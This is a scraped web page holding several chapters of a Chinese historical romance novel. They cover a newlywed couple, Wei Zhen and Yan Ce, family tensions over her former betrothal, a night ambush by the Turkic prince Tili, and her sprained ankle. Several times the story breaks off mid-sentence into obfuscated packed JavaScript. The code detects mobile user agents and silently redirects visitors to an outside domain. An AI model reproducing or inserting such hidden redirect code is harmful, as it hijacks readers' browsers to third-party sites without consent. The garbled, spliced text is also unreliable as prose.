l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15860013|175971||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 话,手炉有些大,她自己捧着坠手,干脆把手炉放在腿上,嘟囔着: “这手炉好大,只能在车里用用。” 燕策跟着低头看,她两个手覆在上面刚好盖住,“下回让人备个小一些的。” ** 燕明远返程很低调,只让卫臻与燕策去送他,其余众人留在莲心堂里略坐了会儿,闲聊几句也陆续散了。 四太太仍坐在玫瑰椅上喝茶,像是还有话要同韦夫人说,一直到人都走尽了她才开口: “大嫂方才怎么没给新妇训训话,好好敲打敲打,日后才好拿捏。” 四老爷一辈子风流不着调,前前后后纳了好几房妾室。四太太多年都忙着在后院打擂台,自认把几个妾室还有儿媳都收拾得服服帖帖的,最爱撺掇这类事。 韦夫人端着茶盏,不疾不徐地喝了一口,这才道:“我敲打她做什么。” “这卫氏当初可是跟咱们家二郎有过婚约的。” 听见人提起自己已逝的儿子,韦夫人把手中茶盏搁在桌上,不轻不重的一声, “只是婚约,二郎不在了,卫家女儿自然该另择良姻,没有因为这个就苛责人的道理。” “自是能嫁人,可她也不知她使了什么手段,偏生嫁给六郎,大嫂该借着这由头给她立立规矩。” “六郎心高性傲,他若是不愿,没人能推着走,旁人使手段有何用。”韦夫人是知道燕策的,她这个儿子,做的事必定是他自个儿早就认定了的,否则任凭旁人怎么主动都没用。 四太太点头应是,又道:“可六郎和二郎是亲兄弟,卫氏入门,到底不光彩。” “有什么不光彩的,卫家嫁女,能嫁别家,自然也能嫁给六郎。” “话虽这么说,若是传出去让外边的人知道了......” 韦夫人已经有些不耐了,理了理袖口,没再接她的话,是时,燕敏从里间走出来道:“婶婶就放心吧,只家里人晓得。只要咱们不往外讲,外人就不会知道,您说呢?” 四太太没想到燕敏还在里间,她被小辈下了面子,面上无光,却也心知肚明燕敏说的话在理。 韦夫人从桌上拿了块果子给女儿,佯装斥责:“大人讲话,小孩子家跟着嚼什么舌头。” 四太太没讨到好,没再提之前的话茬,跟着说了几句好话打圆场,讪讪地回了自己的院子。 燕敏听见四太太提起已故的兄长燕筠,知道母亲定然伤怀,便亲昵地偎着韦夫人,把话题往轻松有趣的闲事上引。 母女闲聊了会子,待到女儿出门了,韦夫人倚在临窗的罗汉榻上,靠着软枕,愣了好一会儿的神。 “给六郎新妇的那对镯子,原是要留着给二郎和六郎的媳妇一人一只的,”韦夫人叹了口气,“阴差阳错的......” 郝嬷嬷坐在一旁的小杌子上,就着日光,低头做针线活计。 韦夫人蓦地坐起身来,像是在问她,又像是自言自语: “六郎娶妻,是不是存了报复我的心思,不然他何故偏偏娶了卫氏。” 郝嬷嬷引线的动作未停,“太太这是说哪儿的话,六郎是您怀胎十月生下来的,母子之间哪有什么报复不报复的。” “可我把他生下来,就没养过他。” 8. 第 8 章 燕府世代簪缨,祖上有从龙之功,一直到了燕明远这一辈,尽忠报国,无半分行差踏错。 当初韦夫人怀着燕策将要临盆时,燕明远却突然被先帝贬至剑南道,改任益州总督。 接到旨意当日,燕明远就立即动身离京赴任了,不申述,不归家。 韦献容知道这个消息后动了胎气,折腾四个时辰,九死一生才把燕策生下来,产后忧思过度,积郁成疾。 出身高门,自小双亲疼爱,顺风顺水,人生突逢巨变,韦献容几乎要被心头的不安和怨怼击垮。 怨天威难测,怨燕明远为何不托人运作申述,抛下一家子就这么走了。 但这些怨,都不能宣之于口。 韦献容躺在榻上,看着一旁刚出生的燕策。 这个孩子来得不是时候。 折腾得她遭了大罪,还一直哭。 而她的长子燕筠,一直都很乖,几乎没有这般不讲理地大闹过。 时日久了,韦献容发现自己把对燕明远的怨加在了刚出生的燕策身上。 偶尔她也会想,这些事都与这个无辜的孩子无干,她该爱护他的。 可她做不到。 后来燕策就被送去了老太太那里。 燕明远到任益州的第五日,先皇凤返丹霄。 今上继位,两年后调任燕明远回京,擢升为右仆射, 回京前,燕明远与时任黔中道观察使的卫含章定下儿女亲事。 十九年过去,如今回看,当初燕明远被贬,不过是先皇在为今上铺路,是天子需要找个由头对燕家施恩的阳谋。 新君拔擢,便可让世人都知道,圣上有恩于奉国公府。 可当初任谁在那个关卡上都无法冷静自持。 天威夹着雷霆砸下来,太重了,让人喘不动气。 砸在韦夫人身上,也砸在被迁怒的燕策身上。 韦夫人彻底放下心头的怨是在燕策八岁那年。 他险些被拍花子拐走。 这件事像给韦夫人当头敲了一棒槌。 她意识到这个生来就很健康强壮的孩子,也只是个孩子。 无辜又弱小,会在她看不见的地方遭遇不测。 这之后,燕策被韦夫人接回身边教养。 可八岁,他已经懂太多事情了。 韦夫人从回忆里疲惫抽身,枯坐在罗汉榻上,“他八岁回来后,这十多年都与我不亲近。小时候一有事就往老太太院里跑,长大后更是直接住外面,若不是成亲了,他都不回府里住。” 郝嬷嬷是韦夫人的奶嬷嬷,陪在韦夫人身边几十年了,现下也不禁动容,她搁下手上的绣样,静静听韦夫人继续说: “他定是还怨我。怨我刚把他生下来就送走了,怨我逼着他回京,断了他的前程,他是个不受拘束的,在京里呆不住。 “可为了二郎,我已是死过一回了。六郎若是也在外头有个.....那真是要我的命。” 当初燕筠身子已经快要不行了,前线又传来燕策率骑劫胡营的消息,虽一时险胜,可下次呢。 那阵子韦夫人终日以泪洗面,一睡下就做噩梦,一会儿梦见时日无多的燕筠,一会儿是在外危机重重的燕策。 郝嬷嬷拍拍韦夫人的手,安抚道: “您这是钻牛角尖儿了,这事怎么谈得上逼迫。当初老爷也是同意让六郎君回来的,咱们这样的人家,不好太出风头,这样就很好。且六郎自个儿也是明事理的,他又几时为这事怪过您。” 自打燕筠病逝,韦夫人私下不知道流了多少泪,一想起过去的事就难受,她这会子情绪上来了钻牛角尖,只把心结翻来覆去地讲。 见韦夫人这般神伤,郝嬷嬷也跟着心疼,她拭了眼角的泪,起身坐在韦夫人身旁,道:“方才在四太太跟前您不是说得很明白,怎么自个儿心里又犯起糊涂?” “人前得替他把面子守住了啊,我还能怎么办。” 韦夫人神色倦怠,看了眼窗外—— 只有嶙峋的石、交错的枝。 等韦夫人情绪稳定了些,郝嬷嬷温声给她出主意: “太太若想缓和与六郎君的关系,更该以慈母之心待六夫人才是,将她视如己出,多加怜爱。老奴今日在一旁瞧着,六郎是很爱重夫人的。” 这边,韦夫人被四太太挑起伤心事,主仆二人低声絮语着。 那边,四太太回了自己院里,又与儿子燕枢起了龃龉。 “母亲,您方才留在大太太院里,是不是提六哥六嫂的事了。” 四太太方才在韦夫人那没讨到好,这会说话正带刺儿:“是又怎么样?给我收起你的歪心思,想都别再想。你们父子俩,没一个安分的......” ** 城外十里,燕策与卫臻没再继续往前送,看着燕明远率众越行越远。 回城的马车驶了一会子,卫臻靠着窗牗,渐渐被手炉暖过来了。 外头余晖尚温,燕策见卫臻搁下手炉后一直往窗外瞧,干脆跟她下去走走。 草浪此起彼伏,勾出风的形状,卫臻下了马车没继续顺着大道走,提裙踏入旁边的羊肠小道。 卫臻虽然成天懒洋洋的,却也十分不愿意被拘着,京里规矩比益州多,自打入了京,她几乎很少能随自己心意外出游玩,出门也就是赴宴,待嫁这些时日更是几乎没出过门。 今日得闲在外边逛,心里都轻飘飘,说话的语调也上扬着:“我入京进城时走的就是这条路,那边继续走是不是有条河?” 燕策视线顺着她的手延伸至前方,“是。” 游霞掠过新碧,卫臻提着石榴红裙,穿梭在野甸之中,身前如意锁上的小铃铛响了一路。 披帛被风灌|得鼓|胀起来,发髻松散了些,青丝混着轻软薄纱一道飘摇。 燕策跟在卫臻身后,不管她步履节奏如何变,他始终落后她一个身位。 卫臻很快就走累了,行至河边,把帕子铺在块石头上垫着,拢了裙裾坐在上边。 河水澄明,映得她面颊也在发光,毛茸茸的袖口被风吹动,也学草浪翻涌。 袖口白色短绒里夹了三两根褐色的长绒,卫臻捻起来看。 这个长度和手感,是吠星的毛。 无数毛发紧密簇拥在一起时,围成只黑色的小狗,像这样单独 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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桩桩件件都被刀剑磨得粗粝,燕策自己也未曾想过,这些事会被他从回忆里拎出来,努力淬炼出鲜活的一面,拿来哄人开心。 日头从燕策肩头慢慢匿至山脚,天开始擦黑,约摸还有不到一个时辰关城门,燕策准备带着卫臻返程。 卫臻抱着腿坐在石头上,坐的时间有些久,起身的时候还在犯懒,像朵蘑菇一样留在原处。 燕策把手递给她,卫臻在将要碰到他掌心的一瞬改了方向,指尖探上他腰侧刀鞘,借力站起来。 二人一齐沿着来的时候那条小道往回走,草丛有些深,天黑了脚下就看不清了,这次改成燕策走在前头,他步子放得慢,卫臻在后面踩着他的脚印走。 他衣裳放量足,袖袋也宽,走动时袖袋里的金锁晃晃悠悠发着响,与她衣襟前的小果子一唱一和。 “别给我把小锁弄坏了。”卫臻听见动静道。 “弄不坏,”燕策在袖袋外面摸了一下,微微侧身回头,“看路。” 回城的马车晃晃悠悠行驶在郊外路上,偶有几声马蹄声盖不住的虫鸣。 前头车厢外面有照明的火把,暖黄的光穿透帏帘,卫臻闻着松脂燃烧的香,不多时就打了个哈欠。 倏然,耳边毫无征兆地传来马匹嘶鸣,卫臻脑袋磕在车厢上猛地惊醒。 9. 第 9 章 车身剧烈一晃,卫臻尚未来得及反应过来时,眼前地转天旋,整个人已经被燕策连捞带抱着跃下了车。 车辕被暴力砸成两截,木屑飞溅,车厢失去支撑整个倾斜,前面的火把掉在地上,很快把夯土路面熏得发黑,浓烟在夜风中翻滚扩散。 电光火石之间,一道寒光直冲二人面门猛刺过来。 燕策把卫臻护在身后,迅速抽刀疾挡,刀身碰撞着发出阵刺耳摩擦声。 几招后燕策迅速把卫臻推至一旁安全死角,他的两名侍从一左一右持刀护在她身侧。 其余六名护卫随燕策一齐与周围这群来势汹汹的黑衣人缠斗起来。 燕策这次出门只带了几人随护,对面却有二十余人,皆身穿短打,包头蒙面。 其中的三四个几乎和燕策一般高,且招招阴狠致命。 虽看不见这些人的脸,但他们每一个身形都粗犷到有些夸张,不像中原人。 卫臻在益州长大,那边有很多外族人,她知晓每个地方的人饮食和生活习性不同,外貌身形也会相差许多。 现下一群人缠斗在一处,刀兵相撞,招式乱眼。 卫臻远远望着,遍体生寒,手心攥得死死的,控制着自己不惊呼出声。 利刃不断划破皮|肉,喷出道道血雾,浓重的铁锈味传来,卫臻没忍住用手捂着嘴干呕了几下。 天色已经彻底暗了下来,隔着地面火把冒出的浓烟,不断有人重伤倒在地上。 缠斗良久,燕策认出打头的黑衣人。 提厉。 其父突厥可汗两年前命丧燕策刀下。 卫臻还在这,燕策无心恋战,他斜身躲过一招,绕至黑衣人身后,钳住他颈骨, “你刀太慢,我今天没工夫跟你耗。” 说罢就摁着人猛力砸向地面。 提厉被燕策摔出去,砸在丈余外的树干上,发出沉闷的响,五脏六腑都似移了位,喉间顿时涌上一股腥甜,武器也脱了手,“当啷”滚出老远。 其余刺客死伤大半,还活着的都被卸了膀子,哀叫着蜷缩在地上打滚。 燕策冷眼看着前面趴在地上咳嗽的人, “还不到你来的时候。” “你说了不算。” 提厉抬手擦掉嘴边血迹,踉跄着从地上爬起,尤作困兽斗。他刀械被缴,便就近抄起不远处横在路面的火把,对着燕策挥上去。 途经之处,火把掠过路边青黄交接的草丛,火龙猛地窜起,照亮地面大滩大滩的血迹。 卫臻望着熊熊烈火霎时冒出一身冷汗,不小心踩到身后的石块,整个人要往后栽,若不是身旁的护卫周回用手臂挡了一下,险些就要摔倒。 离着远远的,卫臻却总觉得闻到了呛人的浓烟,有些喘不上气,她摸索着慢慢蹲下。 火星在空中四处溅射,拖拽出长长的尾,飞速掠过燕策周身,他身法轻捷迅猛,闪躲动作极快。 卫臻站得远,视线忽明忽暗,看不清他的招式,只能看见一抹红在夜空中翻飞,是他飕飕作响的衣角。 随着燕策又一记飞踢,提厉腕上吃痛,火把脱手,冲着提厉迎面砸去。 燕策站在一旁冷眼看着他弄火自焚,轻哂一声,极尽讽意: “自己的刀都握不住,还敢引火。” 提厉狼狈在地上滚动几圈,勉强把身上的火星子扑灭,而后匍匐在地面喘着粗气。 他眼神阴测测,紧盯着燕策,趁着燕策转身的空子,提厉立即摸向腰侧暗器,猛跃起身,发力甩出。 铁镖破空声响起,寒芒一闪,锋利的暗器堪堪贴着燕策眉骨划过。 提厉正欲继续出镖,忽而眼前一道残影掠过,紧接着肩膀上传来巨大的钝痛。 闪身折返回来的燕策曲肘往提厉肩膀重重一顶,就把人摁在树上。 刀刃横在身前,紧贴着喉管,提厉二次偷袭不成,又动弹不得,张嘴用突厥语脏骂了几句。 从提厉的表情和语气判断,燕策知道这人在骂自己。 他冷嗤了下,也不恼,眉眼下压,似看死物般, “听不懂,回去学学官话怎么骂人。” 燕策正值盛年,臂力骇人,等他松开手,提厉立即瘫软在地,冷汗混着血淌过身上的伤口,浑身像被盐杀过。 两条膀子已如粗麻绳般松松垮垮地垂着,提厉在地上用尽仅剩的力气侧了侧身,把身上余下的几支暗器用烧焦的衣角藏住。 火势虽被周遭的田垄与河淀隔开,不算很凶猛,但尚未完全熄灭,以防后患,得找人来收拾了。 燕策从腰间箭囊取出两枚信子,抬手接过身旁侍从递来的弓,把信子缠在矢镝上,搭箭朝天射出。 箭矢破空,信子腾升后燃起,拖拽出发光的长尾,而后在夜幕中炸开,一白一蓝。几里外就是虎贲营在京郊的驻地,这人倒是会挑地方,省了他再另从别处调人过来扫尾。 眉骨处划破的伤口往外渗着血,渐渐淌出条血线,顺着眼睫要往下坠,燕策抬手用指背擦了下。 他回头看了一眼卫臻,见她蹲在原处,身旁有人守着,才转身睨向地上的人:“藏什么呢?” 语调疏懒,慢悠悠的,说完就抬腿一脚踩上提厉胸口。 脚下力道是与语气截然相反的狠戾,当即把试图左右闪躲的人重重钉在地面。 燕策单手曲肘架在膝上,探身欺近,卸下提厉身上仅剩的暗器,拎在手上随意掂量着。 而后用这暗器对着他的脸啪啪抽了几下。 比起方才的好勇斗狠,现在更像是在纯粹地羞辱人。 提厉躺在地上,被打得睁不开眼,昏暗视线里,头顶只有燕策高悬的影。 “这地儿可不能睡觉,来往的车马能把你骨头踏碎了。” 燕策说完就收回腿,单手拖起提厉,往河边走。 夜色浸染,荒草簌簌低伏,他周身野性不加遮掩。 那么壮一个人,在他手底下像块烂泥被拖行着,而后被扔进河里。 燕策立在岸边,望着不断翻出水面的波纹,曲肘缓缓擦净刀面上的血污。 饮过血的环首刀重新变得锋利干净,闪着寒芒破风划过,很快被利落归鞘。 冷月勾勒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15860015|175971||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出精壮颀长的身躯,他腰侧别刀,眉眼皆匿在影里,转身间,英挺深隽的面容慢慢在月下浮现。 整个人俊美冷戾到极致,带着尚未完全收敛的攻击性。 卫臻当然早就知晓他身手了得,但听旁人言说,与自己亲眼见,感受完全不同。 她好像今晚才开始真正看到了燕策的另一面。 他把筋骨淬炼得劲挺强悍,有擎天架海之势,谁在他手底下都讨不到好。 还会在一架打赢之后,耀武扬威般作个恶。 漂亮又狠戾,带着少年人独有的那股子顽劣劲儿,让围观者无法生厌。 卫臻很难把现在的燕策,与那个在晨间凑到她跟前的人,联系到一处。 但偏偏,他又凑过来了。 先出现在卫臻眼前的是他的手,被月光映得更修长骨感,像染了血的白玉。 在他掌心躺着的是—— 她的小金锁。 车辕被砸但车厢还在,车厢内有平日备好的衣裳,燕策抬手解了外袍,想换一件。 他刚打完架身上很热,且外袍脏了,沾了太多血污, 好在,她那个漂亮的小锁没脏也没坏。 见她一直蹲在原处没动,想起先前要返程时也是这样,燕策笑了下,没上手拉她,右膝抵地,在她身前蹲下。 他身上血腥味很重,这一笑淡了周身的杀气。 打斗方歇,夜风又起,胡乱拍乱枝桠,再次惊了树间林鸱,卫臻的眼睫也跟着半空中掠过的鸱影,扑簌簌颤了颤。 他方才与那么多人缠斗,竟还顾得上她的金锁。 她想把锁接过来,一伸手就见自己手心灰扑扑的,全都是方才蹲在地上摸到的泥。 卫臻把手又缩了回去,想从身上找帕子擦擦手,可是手好脏。 接着就见燕策把胳膊伸了过来,他道:“擦手。” 眼下确实没有更顺手的法子了,卫臻犹豫了一瞬,就伸出两只手往他没沾血迹的中衣袖口上擦。 隔着布料也能感觉到他手臂很热,摁上去硬|邦|邦的,卫臻微微用了些力,把掌心的泥都蹭到他衣服上。 燕策蹲着也比她高一大截,站着远远看高挑精瘦的一个人,走近了在她眼前蹲着像座小山,卫臻整个人都被笼在他的影里。 透过劲窄的腰侧线条,能看见他身后束起的高马尾还在晃。 仰头见几缕碎发散落在燕策额前,深浓夜色映入他眼底,瞳仁如漆墨,闪着细碎的光。 卫臻蓦地想起,白日里她见到的,幼犬的眼睛。 吠星捡回她扔出去的木棍时,眼睛也是这般,黑亮亮的,得意劲儿不加遮掩。 手心大差不离擦净了,卫臻接过小金锁,拨动上头的机关消了音,一排小铃铛无声晃悠着。 她摩挲着金锁软声夸了燕策一句,接着就看见他神情更得意了。 为什么得意呢。 是因为打架赢了,还是因为没有把她的东西弄坏? 卫臻猜不出来。 但她知道,燕策不是无害的幼犬。 是大型烈犬。 10. 第 10 章 从燕策射出箭簇到虎贲营来人扫尾,过了一炷香的功夫,一番收整,等回府时,已是戌正。 卫臻下马车踩上地面就觉得脚腕有些发木,但走了两步又不疼,便没当回事。 待到回房解了|衣裳准备沐|浴时,才意识到不对劲—— 左边脚腕肿起来了。 好像是先前被火吓到时,崴的那一下导致的。 兰怀瞧着卫臻红肿的脚踝,心疼得不行,在一边忍不住抹眼泪,燕策在屋内,她不敢乱说话,也不敢上手碰,生怕给卫臻弄疼了。 “崴脚挡大灾呢,别哭了。” 卫臻被摆|弄着躺在|榻上,小腿垫得很高,脚踝被燕策握在手上检查,她正难受,说的话也不知是在宽慰兰怀还是哄自己。 冰块用棉帕包了两层,冷不丁贴上去,依旧激得卫臻说话的音都打颤,“要这样弄多久啊?好冰。” “一日之内多次冷敷,明晚再热敷。”燕策把目光从她脚踝挪到脸上,“你睡着了就不难受了。” “怎么能睡得着。”卫臻撇了撇嘴,伸长胳膊把枕头边的小毯子展开盖在身上。 一股子阳光的味道,她把半张脸也埋进毯子里,这才舒坦了点,自言自语咕哝着,“今个晒了吗,真好闻。” 闻着毯子里熟悉的味道,脚腕在冷敷作用下,还真渐渐没那么难受了,只要不大幅度动,就察觉不到痛感。 卫臻迷迷糊糊睡着的时候还在心底安慰自己:养个两三日便好了,也不是很麻烦。 一直到半夜突然醒了的时候,才意识到,崴脚给起居带来的不便,远远超出她的预想。 脚没多疼,麻烦的是,她月信可能来了,在最不方便的时候。 但月信来了也意味着她确无身|孕,卫臻手在被子底|下|探了一把,急匆匆坐起来要下榻去收拾。 她脚不方便,睡前是躺在外侧的,这会子不知道怎的又躺在床榻里侧,借着月光看了眼,燕策睡在最外侧,那么大的身量,侧躺着只占了很少一点位置。 卫臻在榻上往外爬,还没来得及越过燕策,他人就醒了。 他嗓音很哑,还没完全醒神:“怎么了?” “我要去净房。”卫臻说话时半个身子还在他膝盖上,燕策揉了揉眼眶,就着这个姿|势把人捞起来,拨|开帐子抱着往外走。 卫臻:? 走了几步,燕策又抱着她折返回去。 “你折腾什么——”卫臻趴在他肩上,瓮声说到一半,就见他从里间拿了个绣凳,搁在净房里。 原来是给她拿凳子。 等值夜的侍女进来帮她换了贴身衣物和月事带,而后被搀着出了净房,就见燕策还靠在门口。 那方才她小解的动静,岂不是也全被他听见了。 卫臻心底生出些别扭,故意假装没看见他,还没走两步就被他再次抱起来。 “你偷听我。” “没偷听。” 背上挨了她很轻的的一下,他又改口: “我错了,给你听回来。” “你......有你这么认错的吗!” 燕策把卫臻搁在床榻外侧,看她躺在枕上,一张脸没什么血色,他单膝抵在榻上,顺着她的话道歉: “我不该偷听,别生气。” 语气听起来很诚恳,可他寝衣腰间的系带晃|悠着悬|在那,半点都不老实,卫臻抬手|拽了|一把,“讨厌。” 说完阖上眼没再同他计较,注意力很快被小腹处的坠痛掠去。 往日里来月信时只会有轻微不适,这次迟了好久,痛意奔涌, 躺了一刻钟,卫臻把脸埋在小毯子里,难受到低|哼出声。 兰怀端着药碗把她唤醒时,毯子一角已经被打湿,不知道是眼泪还是疼出的汗。 止疼的汤药浓黑,闻味道就苦得呛人,但卫臻没拒绝,问过是什么药就直接闷了,像她早上喝补药时一样利落。 燕策想起了燕敏,她喝汤药时总是要对着母亲撒娇耍赖,非要旁人软硬兼施才肯捏着鼻子喝完。 卫臻只比燕敏大两岁,但在喝药这方面出奇地爽快,她喝完药漱过口,就用手捂着小腹,靠在软枕上愣着缓神,秀气的眉毛被苦得蹙起,也没有使小性子抱怨。 喝药她不会拒绝,那别的呢。 卫臻不舒坦,整个人恹恹的,等到被燕策从后面抱着的时候,她才意识到自己方才答应了什么—— 他问她要不要帮她揉揉。 她该拒绝的。 可她应了。 卫臻僵了一瞬,怎么这个时候犯糊涂了。 只怪他问话时语气太稀松平常了。 卫臻回头望了一眼,燕策很淡定的样子。 若她现在反应很大,倒像是心里有什么了。 罢了,旁的应当也被他|揉|过了,不差肚子了。 燕策把人轻轻揽到怀里,手掌落在她小腹上轻|揉|着。 卫臻肩背添了重量,感觉被他牢牢锁住了,她本来就不舒坦,被他这么一压,腰更泛着软。 身量高的人就算瘦,整个人也很重,她像上次一样哼唧不满:“我肚子疼,你别压我了。” 燕策没有故意压她,只是本能地靠上去,知道她正难受着,他不敢说混话惹她,只抱着她轻轻躺下。 不论哪种兵器,燕策一眼掠过就能掂量出斤两,上手前就知道该用多重的力道。 可卫臻不是冷硬的兵器,她与他过往接触的一切都不同。尽管它每次都把动作轻了再轻,可偶尔还是会弄|疼她。 在与她相处这件事上,他尚很不熟练,只能通过她高兴还是生气来判断自己是否正确。 躺下后,她没哼唧,燕策知道,这次对了。 燕策的手热,身上也热,挨着他比抱着汤婆子舒坦,卫臻身上暖意渐浓。 随着汤药起效,痛意开始消退,卫臻往前蹭了蹭,脸颊贴上小毯子,碰到一片濡|湿,是刚才哭的眼泪, 她把毯子被眼泪打湿的一小片展开,晾在枕畔。 被打|湿|的布料颜色微微有些深,旁边有有燕策看不懂的刺绣,“绣的什么?” 卫臻手摸过上面微微|凸|起的刺绣,“我阿娘是溧族人,这是她用溧语给我起的乳名。” 燕策手上动作未停,视线跟着她白嫩指尖游移过上面的纹样。 “阿娘怀着我的时候,园子里有一大丛花,满枝金黄,开得热闹,她取了花名的最后一个字给我当乳名。” 卫臻说完吐出两个叠字的音,很轻快,她现下没多少劲儿,说话时嗓音也软绵绵的。 燕策跟着重复了一遍,吐字发音学得不太像,语气却学了她九分。 “不准学我说话,”卫臻躺在他前面笑了,毛茸茸的发顶|蹭|得他下颌有些痒,“家里人也会用官话念这个名字,喊出来是翘翘,连翘的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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一点点心虚让卫臻把手上的动作放轻,但燕策还是醒了。 他下意识把被子往上扯,但没捞到,锦被从他手底下滑走了。 卫臻正掀着被子, “我看看有没有弄脏被——” 掀开了,声音戛然而止。 比血渍更显眼的是...... 有过一回,她当然知道是什么。 新婚夜他不是说不想吗? 可这,他睡意惺忪,显然是刚醒。 入睡时也在惦记吗? 太夸张了。 卫臻望向燕策的视线里透出几分不可置信。 燕策抬起只手搭在额上,喘了口气。 对她有妄念,很早的时候就意识到了。 年少慕艾,大抵并不可耻。 但可耻的是,他发现自己晨醒时的势头不受控。 清晨帐子里灰蒙蒙,卫臻脸颊旁的头发睡得有些乱,晦沉光线下,黑亮的瞳仁尤为明显,这让他负罪感更重了。 难受到有些疼,燕策声线很低: “翘翘,别看了。” 他躺在那,有些自暴自弃地阖上眼,从下颌到脖颈红了一片。 11. 第 11 章 因着晨起时那一幕,卫臻一上午都对燕策横挑鼻子竖挑眼。 抱她去净房时,卫臻揽着燕策的脖颈动来动去,试图跟他腰下拉开点距离: “你那个不准碰到我!” 抱着怎么可能碰不到,他偏要跟她挨一块。 燕策把人往上颠了下,迫使她主动抱紧他。 上午吠星叼着根有它整个身子大的草枝,进了屋,一直哼叫着徘徊在里间门口,卫臻凶巴巴地对燕策道: “你的狗一直响!” 狗叫也怪他吗。 燕策当然知道卫臻这份情绪并不是对着狗,而是对着他。 因为在知道吠星叼过来的草叶是散瘀消肿的小蓬草后,她的夸奖就没停。 还让狗进了里间。 对狗的称呼也从“你的狗”变成了“我们吠星”: “我们吠星好聪明,还能做大夫呢。” “汪汪!” “谢谢你呀。” “汪汪!” “豪狗!” “汪汪汪!” ...... 狗还在叫。 她逗狗的声音也越来越细,越来越甜。 燕策指尖无声叩了叩桌面,他也识草药,还会处理跌打损伤, 她怎么没有用这样的声音跟他说过话。 跟吠星玩了会子扔木棒,卫臻越发觉得这是只好小狗——它知道她腿脚不便,蹭她的时候竟然会避开受伤的那边,轻轻地靠在另一边。 比不知道轻重的燕策强多了。 小狗玩的时候有无尽的精力,可卫臻很快就扔累了,她让人给它擦了擦爪子,一人一狗就靠在窗边小榻上看话本子。 燕策觉得好笑,狗又不识字,跟狗一起看有什么意思。 抱着狗看书还不如抱着他。 他识字。 卫臻看起话本子来,对燕策连横挑鼻子竖挑眼都没了,困歪歪地倚靠着软枕,不冲他发脾气,也不怎么搭理他,只有要去别的地方时面色如常地跟他聊几句,还都是燕策起的头。 除此之外,就算燕策故意弄出点动静,她也不会理。 *** “嘭”一声之后,门枢晃荡着发出“吱呀”的动静。 离京三十里的驿站,二楼厢房紧闭的门被其其格踹开,门口的侍卫并不敢拦这位公主。 屋内一股子呛人的药味,混着血腥气。榻上躺着昨日被燕策打到重伤的人,其其格同母异父的弟弟,提厉。 其其格的哑女侍从在桌上搁下给提厉送的吃食,很快也关门退出屋内。 “醒了就别装死,我们五日后才可以入城,这之前你老老实实呆着,少给我生事,别想着再去燕策那里找茬。” 两年前,塞北之战,突厥不敌北昭,可汗郅支也死在燕策刀下,郅支的妻子萨仁摄政,并率部归顺北昭。 现下,其其格与提厉便是要代表突厥,入北昭都城朝贺。 “可他杀了我们的父汗!” 昨日提厉的人无论是死是伤,连人加兵器全被带走了,唯有提厉只身被丢在野外,其其格派去的人半夜才找到他,他伤得重,眼下开口很虚弱,声音也嘶哑。 “杂种,郅支是你阿爹,不是我的。”其其格道。 萨仁第一任丈夫是郅支的堂弟,二人育有一女其其格,后来萨仁的丈夫暴毙,郅支成为她第二任丈夫。 其其格想知道阿爹的死因,问过阿娘,但阿娘没有告诉她,她便把一切都归因于郅支,连带着对提厉的厌恶也不加遮掩。 提厉两条手臂都骨折了,没有力气撑起身子,躺在枕上,眼睛含着怨气望向其其格。 其其格甩出手上的鞭子,缠上他脖颈,把他上半身提起来,“燕策是不肯吃亏的,这次却绕你一命,后面肯定要讨回来。” 喉间被软鞭挤压着,提厉咳嗽了几下,“那我就杀了他,为父汗报仇,阿娘会高兴的。” “你以为凭你能动得了他吗?昨天你可讨到半点好处了?” “阿姐,你还惦记着这个汉人男子,他已娶妻了,还爱护得紧,我昨日带了那么多人去,连他那新婚妻子的头发都没伤到。” 其其格冷眼看着这个虚弱的废物弟弟,他还是和小时候一样:心气高又没本事,正事上不占理,便会扯一些私事攻击她。 小时候嘲笑她的身世,现在企图用燕策的婚事惹怒她。 其其格没理会提厉胡搅蛮缠的话茬,鞭子在她手上,她不需要无能狂怒,有的是手段让他难受。 手上鞭子收紧,其其格只用两分力,就让提厉痛苦到瞳仁翻白,“再有一次,我不会保你,当心把命丢在这,弟弟。” 说完,她松开鞭子,提厉后脖颈失去支撑,重重跌回枕上。 等那阵窒息感缓过去,再睁开眼,其其格红色的裙角已经消失在门外,屋内只有晌午的光晃得他眼睛疼。 *** 过了晌午,老太太和韦夫人院里分别派人来探望过卫臻,送来好些药材,嘱咐她这几日好好休养。 有些意外的是大姑娘燕姝那边也遣了人来探病,送了些南地运过来的鲜果,跟着鲜果一道来的还有八姑娘燕敏。 崴个脚搞得兴师动众的,卫臻心里有些难为情,好在燕敏比她还小两岁,二人在一处聊天倒不觉得拘束。 卫臻刚入京来燕府赴过宴,因着她当时与燕二郎有婚约,所以席间都是燕敏在她身旁做陪。 燕敏性子好相处,人也大方,得了好玩的喜欢分与旁人,卫臻也曾收过她一整盒南珠。 燕敏还有几个手帕交,都是年岁相当的年轻女郎,就跟园中的小狸猫一样——只要与其中一个玩了,就会有一个接一个地围上来。 因此卫臻心底对燕敏很是有好感。 燕策在一边看着俩人越挨越近,她白日里都没有跟他坐那么近过。 燕敏瞧出兄嫂之间气氛的不寻常,又见燕策全程在一旁陪着,不像是有什么嫌隙,便直接问道:“嫂嫂,我哥哥惹你生气啦?” 